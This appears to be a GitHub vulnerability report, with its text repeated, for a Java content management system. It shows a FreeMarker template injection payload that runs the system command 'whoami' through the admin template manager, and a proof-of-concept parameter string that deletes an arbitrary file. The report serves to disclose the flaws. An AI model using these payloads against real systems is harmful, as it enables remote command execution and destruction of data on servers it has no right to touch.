SSTI
FreeMarker template is used in the project,and there is no secure configuration
Insert the payload in the background - > system settings - > template management
<#assign value="freemarker.template.utility.Execute"?new()>${value("whoami")}
net/mingsoft/basic/action/TemplateAction.java There's a suffix check, it's written to the file
net/mingsoft/basic/util/BasicUtil.java GetRealTemplatePath of this class is called
coverage /target/classes/WEB-INF/manager/main.ftl ,Refresh the home page
Delete any file
If the oldFileName argument exists, the corresponding file is deleted
Call the FileUtil.class
poc:
fileName=x&oldFileName=file destination
The text was updated successfully, but these errors were encountered:
SSTI

FreeMarker template is used in the project,and there is no secure configuration
Insert the payload in the background - > system settings - > template management
<#assign value="freemarker.template.utility.Execute"?new()>${value("whoami")}
net/mingsoft/basic/action/TemplateAction.java There's a suffix check, it's written to the file
net/mingsoft/basic/util/BasicUtil.java GetRealTemplatePath of this class is called

coverage /target/classes/WEB-INF/manager/main.ftl ,Refresh the home page

Delete any file


If the oldFileName argument exists, the corresponding file is deleted
Call the FileUtil.class
poc:
fileName=x&oldFileName=file destination
The text was updated successfully, but these errors were encountered: